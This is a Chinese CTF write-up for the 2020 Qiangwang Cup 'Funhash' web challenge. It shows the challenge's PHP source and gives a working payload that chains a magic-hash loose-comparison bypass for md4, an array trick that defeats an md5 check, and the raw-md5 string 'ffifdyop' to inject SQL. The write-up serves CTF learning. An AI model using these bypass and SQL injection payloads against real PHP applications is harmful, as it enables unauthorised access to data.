0
点赞
收藏
分享

微信扫一扫

2020强网杯线上赛web Funhash writeup

皮皮球场 2022-11-17 阅读 81


<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}
//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
}
//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();
?>

代码审计,考点是md4和md5的比较缺陷
1.md4的比较缺陷:

$_GET["hash1"] != hash("md4", $_GET["hash1"]

需要一个参数hash1的值和他的md4加密后的值相等的字符串
例如:0e001233333333333334557778889的md4值=0e434041524824285414215559233446

2.md5的比较缺陷:

当两个数组进行md5运算时结果都为null,所以相等,就可以绕过

例如:hash[]=1&hash[]=2

3.特殊的md5值:

md5加密,而ffifdyop md5($password,true)过后恰好结果是’or’6�]��!r,��b

$sql="select password from users where password=''or'<xxx>'"

最终payload
?hash1=0e001233333333333334557778889&hash2[]=1&hash3[]=2&hash4=ffifdyop

成功绕过。


举报

相关推荐

0 条评论